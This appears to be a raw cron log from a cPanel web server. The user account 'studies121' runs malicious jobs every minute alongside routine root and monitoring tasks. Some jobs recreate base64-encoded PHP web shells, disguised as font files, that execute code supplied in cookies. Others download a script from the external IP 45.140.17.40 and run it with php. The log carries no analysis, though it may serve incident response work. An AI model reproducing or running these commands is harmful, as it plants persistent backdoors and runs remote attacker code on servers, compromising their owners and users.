Feb 22 09:38:01 ip-184-168-122-23 CROND[13158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:39:01 ip-184-168-122-23 CROND[13487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:39:01 ip-184-168-122-23 CROND[13486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:39:01 ip-184-168-122-23 CROND[13491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:39:01 ip-184-168-122-23 CROND[13490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:39:01 ip-184-168-122-23 CROND[13493]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 09:40:01 ip-184-168-122-23 CROND[13839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:40:01 ip-184-168-122-23 CROND[13841]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 09:40:01 ip-184-168-122-23 CROND[13844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:40:01 ip-184-168-122-23 CROND[13846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:40:01 ip-184-168-122-23 CROND[13847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:40:01 ip-184-168-122-23 CROND[13851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:40:01 ip-184-168-122-23 CROND[13849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:40:01 ip-184-168-122-23 CROND[13852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:41:01 ip-184-168-122-23 CROND[14191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:41:01 ip-184-168-122-23 CROND[14193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:41:01 ip-184-168-122-23 CROND[14195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:41:01 ip-184-168-122-23 CROND[14197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:42:01 ip-184-168-122-23 CROND[14556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:42:01 ip-184-168-122-23 CROND[14558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:42:01 ip-184-168-122-23 CROND[14559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:42:01 ip-184-168-122-23 CROND[14560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:42:01 ip-184-168-122-23 CROND[14561]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:43:01 ip-184-168-122-23 CROND[14881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:43:01 ip-184-168-122-23 CROND[14883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:43:01 ip-184-168-122-23 CROND[14882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:43:01 ip-184-168-122-23 CROND[14885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:44:01 ip-184-168-122-23 CROND[15195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:44:01 ip-184-168-122-23 CROND[15197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:44:01 ip-184-168-122-23 CROND[15198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:44:01 ip-184-168-122-23 CROND[15199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:44:01 ip-184-168-122-23 CROND[15200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:45:01 ip-184-168-122-23 CROND[15521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:45:01 ip-184-168-122-23 CROND[15523]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:45:01 ip-184-168-122-23 CROND[15526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:45:01 ip-184-168-122-23 CROND[15524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:45:01 ip-184-168-122-23 CROND[15525]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 09:45:01 ip-184-168-122-23 CROND[15527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:46:01 ip-184-168-122-23 CROND[15875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:46:02 ip-184-168-122-23 CROND[15876]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:46:02 ip-184-168-122-23 CROND[15880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:46:02 ip-184-168-122-23 CROND[15883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:46:02 ip-184-168-122-23 CROND[15881]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 09:46:02 ip-184-168-122-23 CROND[15882]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:47:01 ip-184-168-122-23 CROND[16188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:47:01 ip-184-168-122-23 CROND[16191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:47:01 ip-184-168-122-23 CROND[16195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:47:01 ip-184-168-122-23 CROND[16196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:48:01 ip-184-168-122-23 CROND[16622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:48:01 ip-184-168-122-23 CROND[16624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:48:01 ip-184-168-122-23 CROND[16625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:48:01 ip-184-168-122-23 CROND[16626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:48:01 ip-184-168-122-23 CROND[16627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:49:01 ip-184-168-122-23 CROND[17079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 09:49:01 ip-184-168-122-23 CROND[17081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 09:49:01 ip-184-168-122-23 CROND[17083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:49:01 ip-184-168-122-23 CROND[17084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:50:01 ip-184-168-122-23 CROND[17475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 09:50:01 ip-184-168-122-23 CROND[17474]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 09:50:01 ip-184-168-122-23 CROND[17473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 09:50:01 ip-184-168-122-23 CROND[17476]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 09:50:01 ip-184-168-122-23 CROND[17480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 09:50:01 ip-184-168-122-23 CROND[17483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 09:50:01 ip-184-168-122-23 CROND[17488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
